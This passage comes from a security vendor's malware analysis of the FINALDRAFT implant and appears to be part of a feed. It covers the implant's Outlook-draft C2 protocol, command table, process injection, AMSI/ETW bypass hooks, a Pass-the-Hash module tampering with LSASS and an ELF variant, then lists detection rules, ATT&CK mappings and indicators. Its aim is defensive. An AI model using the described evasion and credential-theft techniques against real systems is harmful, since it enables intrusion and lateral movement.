<p>A check is performed to determine whether a session email, in the form of a command response email identified by the subject <code>p_&lt;session-id&gt;</code>, already exists. If it does not, one is created in the mail drafts. The content of this email is base64 encoded but not AES encrypted.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image19.png" alt="Check for session email and create one if it doesn't exist" /></p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image46.png" alt="Session email: GET and POST requests" /></p>
<p>The session data is described in the structure below.</p>
<pre><code class="language-c">struct Session
{
  char random_bytes[30];
  uint32_t total_size;
  char field_22;
  uint64_t session_id;
  uint64_t build_number;
  char field_33;
};
</code></pre>
<p><em>Session data structure</em></p>
<p>The command queue is filled by checking the last five C2 command request emails in the mail drafts, which have subjects <code>r_&lt;session-id&gt;</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image39.png" alt="Checking for commands email" /></p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image49.png" alt="Command polling GET request" /></p>
<p>After reading the request, emails are then deleted.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image15.png" alt="Deleting command email after reading" /></p>
<p>Commands are then processed, and responses are written into new draft emails, each with the same <code>p_&lt;session-id&gt;</code> subject for each command response.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image13.png" alt="Command response POST request" /></p>
<p>Content for message requests and responses are <strong>Zlib</strong> compressed, <strong>AES CBC</strong> encrypted, and Base64 encoded. The AES key used for encryption and decryption is located in the configuration blob.</p>
<p><code>Base64(AESEncrypt(ZlibCompress(data)))</code></p>
<p>Request messages sent from the C2 to the implant follow this structure.</p>
<pre><code class="language-c">struct C2Message{
  struct {
    uint8_t random_bytes[0x1E];  
    uint32_t message_size;    
    uint64_t session_id;      
  } header;                     // Size: 0x2A (42 bytes)
  
  struct {
    uint32_t command_size;                     
    uint32_t next_command_struct_offset;
    uint8_t command_id;                   
    uint8_t unknown[8];                   
    uint8_t command_args[];                       
  } commands[];
};
</code></pre>
<p><em>Request message structure</em></p>
<p>Response messages sent from the implant to C2 follow this structure.</p>
<pre><code class="language-c">struct ImplantMessage {
  struct Header {
    uint8_t random_bytes[0x1E];  
    uint32_t total_size;    
    uint8_t flag;		// Set to 1
    uint64_t session_id;
    uint16_t build_id;
    uint8_t pad[6];
  } header;
  
  struct Message {
    uint32_t actual_data_size_add_0xf;
    uint8_t command_id;
    uint8_t unknown[8];
    uint8_t flag_success;
    char newline[0x2];
    uint8_t actual_data[];
  }                    
};
</code></pre>
<p><em>Response message structure</em></p>
<p>Here is an example of data stolen by the implant.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image52.png" alt="Response message example" /></p>
<h3>Commands</h3>
<p>FinalDraft registers 37 command handlers, with most capabilities revolving around process injection, file manipulation, and network proxy capabilities.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image23.png" alt="FINALDRAFT command handler setup" /></p>
<p>Below is a table of the commands and their IDs:</p>
<table>
<thead>
<tr>
<th align="left">ID</th>
<th align="left">Name</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">0</td>
<td align="left">GatherComputerInformation</td>
</tr>
<tr>
<td align="left">2</td>
<td align="left">StartTcpServerProxyToC2</td>
</tr>
<tr>
<td align="left">3</td>
<td align="left">StopTcpServerProxyToC2</td>
</tr>
<tr>
<td align="left">4</td>
<td align="left">ConnectToTcpTargetStartProxyToC2</td>
</tr>
<tr>
<td align="left">5</td>
<td align="left">SetSleepValue</td>
</tr>
<tr>
<td align="left">6</td>
<td align="left">DeleteNetworkProjectorFwRuleAndStopTCPServer</td>
</tr>
<tr>
<td align="left">8</td>
<td align="left">ConnectToTcpTarget</td>
</tr>
<tr>
<td align="left">9</td>
<td align="left">SendDataToUdpOrTcpTarget</td>
</tr>
<tr>
<td align="left">10</td>
<td align="left">CloseTcpConnection</td>
</tr>
<tr>
<td align="left">11</td>
<td align="left">DoProcessInjectionSendOutputEx</td>
</tr>
<tr>
<td align="left">12</td>
<td align="left">ListFiles</td>
</tr>
<tr>
<td align="left">13</td>
<td align="left">ListAvailableDrives</td>
</tr>
<tr>
<td align="left">14</td>
<td align="left">CreateDirectory</td>
</tr>
<tr>
<td align="left">15</td>
<td align="left">DeleteFileOrDirectory</td>
</tr>
<tr>
<td align="left">16</td>
<td align="left">DownloadFile</td>
</tr>
<tr>
<td align="left">17</td>
<td align="left">UploadFile0</td>
</tr>
<tr>
<td align="left">18</td>
<td align="left">DummyFunction</td>
</tr>
<tr>
<td align="left">19</td>
<td align="left">SetCurrentDirectory</td>
</tr>
<tr>
<td align="left">20</td>
<td align="left">GetCurrentDirectory</td>
</tr>
<tr>
<td align="left">21</td>
<td align="left">ListRunningProcesses</td>
</tr>
<tr>
<td align="left">24</td>
<td align="left">DoProcessInjectionNoOutput</td>
</tr>
<tr>
<td align="left">25</td>
<td align="left">DoProcessInjectionNoOutput (Same as 24)</td>
</tr>
<tr>
<td align="left">26</td>
<td align="left">DoProcessInjectionSendOutput1</td>
</tr>
<tr>
<td align="left">28</td>
<td align="left">DisconnectFromNamedPipe</td>
</tr>
<tr>
<td align="left">30</td>
<td align="left">ConnectToNamedPipeAndProxyMessageToC2</td>
</tr>
<tr>
<td align="left">31</td>
<td align="left">GetCurrentProcessTokenInformation</td>
</tr>
<tr>
<td align="left">32</td>
<td align="left">EnumerateActiveSessions</td>
</tr>
<tr>
<td align="left">33</td>
<td align="left">ListActiveTcpUdpConnections</td>
</tr>
<tr>
<td align="left">35</td>
<td align="left">MoveFile1</td>
</tr>
<tr>
<td align="left">36</td>
<td align="left">GetOrSetFileTime</td>
</tr>
<tr>
<td align="left">39</td>
<td align="left">UploadFile1</td>
</tr>
<tr>
<td align="left">41</td>
<td align="left">MoveFile0</td>
</tr>
<tr>
<td align="left">42</td>
<td align="left">CopyFileOrCopyDirectory</td>
</tr>
<tr>
<td align="left">43</td>
<td align="left">TerminateProcess</td>
</tr>
<tr>
<td align="left">44</td>
<td align="left">CreateProcess</td>
</tr>
</tbody>
</table>
<p><em>FINALDRAFT command handler table</em></p>
<h3>Gather computer information</h3>
<p>Upon execution of the <code>GatherComputerInformation</code> command, information about the victim machine is collected and sent by FINALDRAFT. This information includes the computer name, the account username, internal and external IP addresses, and details about running processes.</p>
<p>This structure is described as follows:</p>
<pre><code class="language-c">struct ComputerInformation
{
  char field_0;
  uint64_t session_id;
  char field_9[9];
  char username[50];
  char computer_name[50];
  char field_76[16];
  char external_ip_address[20];
  char internal_ip_address[20];
  uint32_t sleep_value;
  char field_B2;
  uint32_t os_major_version;
  uint32_t os_minor_version;
  bool product_type;
  uint32_t os_build_number;
  uint16_t os_service_pack_major;
  char field_C2[85];
  char field_117;
  char current_module_name[50];
  uint32_t current_process_id;
};
</code></pre>
<p><em>Collected information structure</em></p>
<p>The external IP address is collected when enabled in the configuration.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image37.png" alt="Retrieve external IP if flag is set" /></p>
<p>This address is obtained by FINALDRAFT using the following list of public services.</p>
<table>
<thead>
<tr>
<th align="left">Public service</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>hxxps://ip-api.io/json</code></td>
</tr>
<tr>
<td align="left"><code>hxxps://ipinfo.io/json</code></td>
</tr>
<tr>
<td align="left"><code>hxxps://myexternalip.com/raw</code></td>
</tr>
<tr>
<td align="left"><code>hxxps://ipapi.co/json/</code></td>
</tr>
<tr>
<td align="left"><code>hxxps://jsonip.com/</code></td>
</tr>
</tbody>
</table>
<p><em>IP lookup service list</em></p>
<h3>Process injection</h3>
<p>FINALDRAFT has multiple process injection-related commands that can inject into either running processes or create a hidden process to inject into.</p>
<p>In cases where a process is created, the target process is either an executable path provided as a parameter to the command or defaults to <code>mspaint.exe</code> or <code>conhost.exe</code> as a fallback.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image50.png" alt="mspaint.exe process injection target" /></p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image33.png" alt="conhost.exe process injection target" /></p>
<p>Depending on the command and its parameters, the process can be optionally created with its standard output handle piped. In this case, once the process is injected, FINALDRAFT reads from the pipe's output and sends its content along with the command response.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image44.png" alt="Create hidden process with piped STD handles" /></p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image24.png" alt="Read process' piped stdout" /></p>
<p>Another option exists where, instead of piping the standard handle of the process, FINALDRAFT, after creating and injecting the process, waits for the payload to create a Windows named pipe. It then connects to the pipe, writes some information to it, reads its output, and sends the data to the C2 through a separate channel. (In the case of the Outlook transport channel, this involves creating an additional draft email.).</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image58.png" alt="Wait for injected process to create its named pipe" /></p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image29.png" alt="Read from named pipe and send to C2" /></p>
<p>The process injection procedure is basic and based on <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, and <code>RtlCreateUserThread</code> API.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image48.png" alt="Process injection method" /></p>
<h3>Forwarding data from TCP, UDP, and named pipes</h3>
<p>FINALDRAFT offers various methods of proxying data to C2, including UDP and TCP listeners, and a named pipe client.</p>
<p>Proxying UDP and TCP data involves handling incoming communication differently based on the protocol. For UDP, messages are received directly from the sender, while for TCP, client connections are accepted before receiving data. In both cases, the data is read from the socket and forwarded to the transport channel.</p>
<p>Below is an example screenshot of the <code>recvfrom</code> call from the UDP listener.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image16.png" alt="Received data from UDP client" /></p>
<p>Before starting the TCP listener server, FINALDRAFT adds a rule to the Windows Firewall. This rule is removed when the server shuts down. To add/remove these rules the malware uses <strong>COM</strong> and the <a href="https://learn.microsoft.com/en-us/windows/win32/api/netfw/nn-netfw-inetfwpolicy2">INetFwPolicy2</a> and the <a href="https://learn.microsoft.com/en-us/windows/win32/api/netfw/nn-netfw-inetfwrule">INetFwRule</a> interfaces.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image34.png" alt="FINALDRAFT adds firewall rule to allow TCP server" /></p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image30.png" alt="Instantiating the NetFwPolicy2 COM interface" /></p>
<p>FINALDRAFT can also establish a TCP connection to a target. In this case, it sends a magic value, <code>“\x12\x34\xab\xcd\ff\xff\xcd\xab\x34\x12”</code> and expects the server to echo the same magic value back before beginning to forward the received data.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image27.png" alt="Send and receive magic data to/from TCP target" /></p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image18.png" alt="Magic data blob" /></p>
<p>For the named pipe, FINALDRAFT only connects to an existing pipe. The pipe name must be provided as a parameter to the command, after which it reads the data and forwards it through a separate channel.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image31.png" alt="Forward data from named pipe" /></p>
<h3>File manipulation</h3>
<p>For the file deletion functionality, FINALDRAFT prevents file recovery by overwriting file data with zeros before deleting them.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image54.png" alt="Zero out file before deletion" /></p>
<p>FINALDRAFT defaults to <code>CopyFileW</code> for file copying. However, if it fails, it will attempt to copy the file at the NTFS cluster level.</p>
<p>It first opens the source file as a drive handle. To retrieve the cluster size of the volume where the file resides, it uses <code>GetDiskFreeSpaceW</code> to retrieve information about the number of sectors per cluster and bytes per sector. <code>DeviceIoControl</code> is then called with <code>FSCTL_GET_RETRIEVAL_POINTERS</code> to retrieve details of extents: locations on disk storing the data of the specified file and how much data is stored there in terms of cluster size.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image14.png" alt="Retrieving file data extents" /></p>
<p>For each extent, it uses <code>SetFilePointer</code> to move the source file pointer to the corresponding offset in the volume; reading and writing one cluster of data at a time from the source file to the destination file.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image57.png" alt="Read/write file between clusters" /></p>
<p>If the file does not have associated cluster mappings, it is a resident file, and data is stored in the MFT itself. It uses the file's MFT index to get its raw MFT record. The record is then parsed to locate the <code>$DATA</code> attribute (type identifier  = 128). Data is then extracted from this attribute and written to the destination file using <code>WriteFile</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image17.png" alt="Copy resident files using MFT records" /></p>
<h3>Injected Modules</h3>
<p>Our team observed several additional modules loaded through the <code>DoProcessInjectionSendOutputEx</code> command handler performing process injection and writing the output back through a named pipe. This shellcode injected by FINALDRAFT leverages the well-known <a href="https://github.com/monoxgas/sRDI/blob/master/ShellcodeRDI/ShellcodeRDI.c">sRDI</a> project, enabling the loading of a fully-fledged PE DLL into memory within the same process, resolving its imports and calling its export entrypoint.</p>
<h4>Network enumeration (<code>ipconfig.x64.dll</code>)</h4>
<p>This module creates a named pipe (<code>\\.\Pipe\E340C955-15B6-4ec9-9522-1F526E6FBBF1</code>) waiting for FINALDRAFT to connect to it.  Perhaps to prevent analysis/sandboxing, the threat actor used a password (<code>Aslire597</code>) as an argument, if the password is incorrect, the module will not run.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image12.png" alt="String comparison with command-line password" /></p>
<p>As its name suggests, this module is a custom implementation of the ipconfig command retrieving networking information using Windows API’s (<code>GetAdaptersAddresses</code>, <code>GetAdaptersInfo</code>, <code>GetNetworkParams</code>) and reading the Windows registry keypath (<code>SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces</code>). After the data is retrieved, it is sent back to FINALDRAFT through the named pipe.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image38.png" alt="Retrieving network adapter information" /></p>
<h4>PowerShell execution (<code>Psloader.x64.dll</code>)</h4>
<p>This module allows the operator to execute PowerShell commands without invoking the <code>powershell.exe</code> binary. The code used is taken from <a href="https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerPick/SharpPick/Program.cs">PowerPick</a>, a well-known open source offensive security tool.</p>
<p>To evade detection, the module first hooks the <code>EtwEventWrite</code>, <code>ReportEventW</code>, and <code>AmsiScanBuffer</code> APIs, forcing them to always return <code>0</code>, which disables ETW logging and bypasses anti-malware scans.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image20.png" alt="Patching AMSI and ETW APis" /></p>
<p>Next, the DLL loads a .NET payload (<a href="https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerPick/SharpPick/Program.cs">PowerPick</a>) stored in its <code>.data</code> section using the <a href="https://learn.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/clr-hosting-interfaces">CLR Hosting technique</a>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image25.png" alt="Managed code of PowerPick loaded using CLR hosting technique" /></p>
<p>The module creates a named pipe (<code>\\.\Pipe\BD5AE956-0CF5-44b5-8061-208F5D0DBBB2</code>) which is used for command forwarding and output retrieval. The main thread is designated as the receiver, while a secondary thread is created to write data to the pipe. Finally, the managed <strong>PowerPick</strong> binary is loaded and executed by the module.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image26.png" alt="Managed binary of PowerPick loaded by the module" /></p>
<h4>Pass-the-Hash toolkit (<code>pnt.x64.dll</code>)</h4>
<p>This module is a custom Pass-the-Hash (PTH) toolkit used to start new processes with stolen NTLM hashes. This PTH implementation is largely inspired by the one used by <a href="https://github.com/gentilkiwi/mimikatz">Mimikatz</a>, enabling lateral movement.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image45.png" alt="Decrypted strings from memory for PTH module" /></p>
<p>A password (<code>Aslire597</code>), domain, and username with the NTLM hash, along with the file path of the program to be elevated, are required by this module. In our sample, this command line is loaded by the sRDI shellcode. Below is an example of the command line.</p>
<p><code>program.exe &lt;password&gt; &lt;domain&gt;\&lt;account&gt;:&lt;ntlm_hash&gt; &lt;target_process&gt;</code></p>
<p>Like the other module, it creates a named pipe, ”<code>\\.\Pipe\EAA0BF8D-CA6C-45eb-9751-6269C70813C9</code>”, and awaits incoming connections from FINALDRAFT. This named pipe serves as a logging channel.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image21.png" alt="named pipe creation for pnt.x64.dll" /></p>
<p>After establishing the pipe connection, the malware creates a target process in a suspended state using <code>CreateProcessWithLogonW</code>, identifies key structures like the <code>LogonSessionList</code> and <code>LogonSessionListCount</code> within the Local Security Authority Subsystem Service (LSASS) process, targeting the logon session specified by the provided argument.</p>
<p>Once the correct session is matched, the current credential structure inside LSASS is overwritten with the supplied NTLM hash instead of the current user's NTLM hash, and finally, the process thread is resumed. This technique is well explained in the blog post &quot;<a href="https://www.praetorian.com/blog/inside-mimikatz-part2/">Inside the Mimikatz Pass-the-Hash Command (Part 2)</a>&quot; by Praetorian. The result is then sent to the named pipe.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image22.png" alt="Named pipe output and created process" /></p>
<h2>FINALDRAFT ELF variant</h2>
<p>During this investigation, we discovered an ELF variant of FINALDRAFT. This version supports more transport protocols than the PE version, but has fewer features, suggesting it might be under development.</p>
<h3>Additional transport channels</h3>
<p>The ELF variant of FINALDRAFT supports seven additional protocols for C2 transport channels:</p>
<table>
<thead>
<tr>
<th align="left">C2 communication protocols</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">HTTP/HTTPS</td>
</tr>
<tr>
<td align="left">Reverse UDP</td>
</tr>
<tr>
<td align="left">ICMP</td>
</tr>
<tr>
<td align="left">Bind TCP</td>
</tr>
<tr>
<td align="left">Reverse TCP</td>
</tr>
<tr>
<td align="left">DNS</td>
</tr>
<tr>
<td align="left">Outlook via REST API (could be communicating with an API proxy)</td>
</tr>
<tr>
<td align="left">Outlook via Graph API</td>
</tr>
</tbody>
</table>
<p><em>FINALDRAFT ELF variant C2 communication options</em></p>
<p>From the ELF samples discovered, we have identified implants configured to use the HTTP and Outlook via Graph API channels.</p>
<p>While the code structure is similar to the most contemporary PE sample, at the time of this publication, some parts of the implant's functionality were modified to conform to the Linux environment. For example, new Microsoft OAuth refresh tokens requested are written to a file on disk, either <code>/var/log/installlog.log.&lt;UUID_from_config&gt;</code> or <code>/mnt/hgfsdisk.log.&lt;UUID_from_config&gt;</code> if it fails to write to the prior file.</p>
<p>Below is a snippet of the configuration which uses the HTTP channel. We can see two C2 servers are used in place of a Microsoft refresh token, the port number <code>0x1bb</code> (<code>443</code>) at offset <code>0xc8</code>, and flag for using HTTPS at offset <code>0xfc</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image2.png" alt="FINALDRAFT ELF variant configuration snippet" /></p>
<p>The domains are intentionally designed to typosquat well-known vendors, such as &quot;VMSphere&quot; (VMware vSphere). However, it's unclear which vendor &quot;Hobiter&quot; is attempting to impersonate in this instance.</p>
<table>
<thead>
<tr>
<th align="left">C2</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">support.vmphere.com</td>
</tr>
<tr>
<td align="left">update.hobiter.com</td>
</tr>
</tbody>
</table>
<p><em>Domain list</em></p>
<h3>Commands</h3>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image32.png" alt="Command handlers" /></p>
<p>All of the commands overlap with its Windows counterpart, but offer fewer options. There are two C2 commands dedicated to collecting information about the victim's machine. Together, these commands gather the following details:</p>
<ul>
<li>Hostname</li>
<li>Current logged-in user</li>
<li>Intranet IP address</li>
<li>External IP address</li>
<li>Gateway IP address</li>
<li>System boot time</li>
<li>Operating system name and version</li>
<li>Kernel version</li>
<li>System architecture</li>
<li>Machine GUID</li>
<li>List of active network connections</li>
<li>List of running processes</li>
<li>Name of current process</li>
</ul>
<h4>Command Execution</h4>
<p>While there are no process injection capabilities, the implant can execute shell commands directly. It utilizes <code>popen</code> for command execution, capturing both standard output and errors, and sending the results back to the C2 infrastructure.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image28.png" alt="Executing shell command" /></p>
<h4>Self Deletion</h4>
<p>To dynamically resolve the path of the currently running executable, its symlink pointing to the executable image is passed to <code>sys_readlink</code>. <code>sys_unlink</code> is then called to remove the executable file from the filesystem.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image11.png" alt="Self deletion using sys_unlink" /></p>
<h2>Older FINALDRAFT PE sample</h2>
<p>During our investigation, we identified an older version of FINALDRAFT. This version supports half as many commands but includes an additional transport protocol alongside the MS Graph API/Outlook transport channel.</p>
<p>The name of the binary is <code>Session.x64.dll</code>, and its entrypoint export is called <code>GoogleProxy</code>:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image5.png" alt="PE export of FINALDRAFT" /></p>
<h3>HTTP transport channel</h3>
<p>This older version of FINALDRAFT selects between the Outlook or HTTP transport channel based on the configuration.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image59.png" alt="Choice between Outlook and HTTP transport channels" /></p>
<p>In this sample, the configuration contains a list of hosts instead of the refresh token found in the main sample. These same domains were used by PATHLOADER, the domain (<code>checkponit[.]com</code>) was registered on 2022-08-26T09:43:16Z and domain (<code>fortineat[.]com</code>) was registred on 2023-11-08T09:47:47Z.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image6.png" alt="Domains found in the configuration" /></p>
<p>The domains purposely typosquat real known vendors, <strong>CheckPoint</strong> and <strong>Fortinet</strong>, in this case.</p>
<table>
<thead>
<tr>
<th align="left">C2</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>poster.checkponit[.]com</code></td>
</tr>
<tr>
<td align="left"><code>support.fortineat[.]com</code></td>
</tr>
</tbody>
</table>
<p><em>Domain list</em></p>
<h3>Shell command</h3>
<p>An additional command exists in this sample that is not present in later versions. This command, with ID <code>1</code>, executes a shell command.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image9.png" alt="Shell command handler setup" /></p>
<p>The execution is carried out by creating a <code>cmd.exe</code> process with the <code>&quot;/c&quot;</code> parameter, followed by appending the actual command to the parameter.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image60.png" alt="Create piped cmd.exe process" /></p>
<h1>Detection</h1>
<p>Elastic Defend detects the process injection mechanism through two rules. The first rule detects the <code>WriteProcessMemory</code> API call targeting another process, which is a common behavior observed in process injection techniques.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image42.png" alt="Detecting WriteProcessMemory in FINALDRAFT process injection" /></p>
<p>The second rule detects the creation of a remote thread to execute the shellcode.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image35.png" alt="Detection of injected shellcode thread" /></p>
<p>We also detect the loading of the PowerShell engine by the <code>Psloader.x64.dll</code> module, which is injected into the known target <code>mspaint.exe</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image4.png" alt="Detection of PowerShell engine loads" /></p>
<h1>Malware and MITRE ATT&amp;CK</h1>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h2>Tactics</h2>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0008/">Lateral Movement</a></li>
</ul>
<h2>Techniques</h2>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1102/003/">Web Service: One-Way Communication</a></li>
<li><a href="https://attack.mitre.org/techniques/T1573/001/">Encrypted Channel: Symmetric Cryptography</a></li>
<li><a href="https://attack.mitre.org/techniques/T1564/003/">Hide Artifacts: Hidden Window</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/005/">Masquerading: Match Legitimate Name or Location</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/003/">Masquerading: Rename System Utilities</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/002/">Process Injection: Portable Executable Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1620/">Reflective Code Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1550/002/">Use Alternate Authentication Material: Pass the Hash</a></li>
<li><a href="https://attack.mitre.org/techniques/T1046/">Network Service Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1012/">Query Registry</a></li>
<li><a href="https://attack.mitre.org/techniques/T1567/">Exfiltration Over Web Service</a></li>
</ul>
<h1>Mitigations</h1>
<h2>Detection</h2>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/defense_evasion_suspicious_memory_write_to_a_remote_process.toml">Suspicious Memory Write to a Remote Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/execution_unusual_powershell_engine_imageload.toml">Unusual PowerShell Engine ImageLoad</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/defense_evasion_amsi_bypass_via_unbacked_memory.toml">AMSI Bypass via Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/defense_evasion_amsi_or_wldp_bypass_via_memory_patching.toml">AMSI or WLDP Bypass via Memory Patching</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/privilege_escalation_suspicious_execution_via_windows_services.toml">Suspicious Execution via Windows Service</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/defense_evasion_execution_via_windows_command_line_debugging_utility.toml">Execution via Windows Command Line Debugging Utility</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_suspicious_parent_child_relationship.toml">Suspicious Parent-Child Relationship</a></li>
</ul>
<h2>YARA</h2>
<p>Elastic Security has created the following YARA rules related to this post:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_PathLoader.yar">Windows.Trojan.PathLoader</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_FinalDraft.yar">Windows.Trojan.FinalDraft</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Linux_Trojan_FinalDraft.yar">Linux.Trojan.FinalDraft</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Multi_Trojan_FinalDraft.yar">Multi.Trojan.FinalDraft</a></li>
</ul>
<h1>Observations</h1>
<p>The following observables were discussed in this research:</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Reference</th>
<th align="left">Date</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>9a11d6fcf76583f7f70ff55297fb550fed774b61f35ee2edd95cf6f959853bcf</code></td>
<td align="left">SHA256</td>
<td align="left">PATHLOADER</td>
<td align="left">VT first seen: 2023-05-09 09:44:45 UTC</td>
</tr>
<tr>
<td align="left"><code>39e85de1b1121dc38a33eca97c41dbd9210124162c6d669d28480c833e059530</code></td>
<td align="left">SHA256</td>
<td align="left">FINALDRAFT initial sample</td>
<td align="left">Telemetry first seen: 2024-11-28 20:49:18.646</td>
</tr>
<tr>
<td align="left"><code>83406905710e52f6af35b4b3c27549a12c28a628c492429d3a411fdb2d28cc8c</code></td>
<td align="left">SHA256</td>
<td align="left">FINALDRAFT ELF variant</td>
<td align="left">VT first seen: 2024-10-05 07:15:00 UTC</td>
</tr>
<tr>
<td align="left"><code>poster.checkponit[.]com</code></td>
<td align="left">domain</td>
<td align="left">PATHLOADER/FINALDRAFT domain</td>
<td align="left">Creation date: 2022-08-26T09:43:16Z  Valid until: 2025-08-26T07:00:00Z</td>
</tr>
<tr>
<td align="left"><code>support.fortineat[.]com</code></td>
<td align="left">domain</td>
<td align="left">PATHLOADER/FINALDRAFT domain</td>
<td align="left">Creation date: 2023-11-08T09:47:47Z Valid until: 2024-11-08T09:47:47.00Z</td>
</tr>
<tr>
<td align="left"><code>support.vmphere[.]com</code></td>
<td align="left">domain</td>
<td align="left">FINALDRAFT domain</td>
<td align="left">Creation date: 2023-09-12T12:35:57Z Valid until: 2025-09-12T12:35:57Z</td>
</tr>
<tr>
<td align="left"><code>update.hobiter[.]com</code></td>
<td align="left">domain</td>
<td align="left">FINALDRAFT domain</td>
<td align="left">Creation date: 2023-09-12T12:35:58Z Valid until: 2025-09-12T12:35:58Z</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/de/security-labs/assets/images/finaldraft/Security Labs Images 13.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Under the SADBRIDGE with GOSAR: QUASAR Gets a Golang Rewrite]]></title>
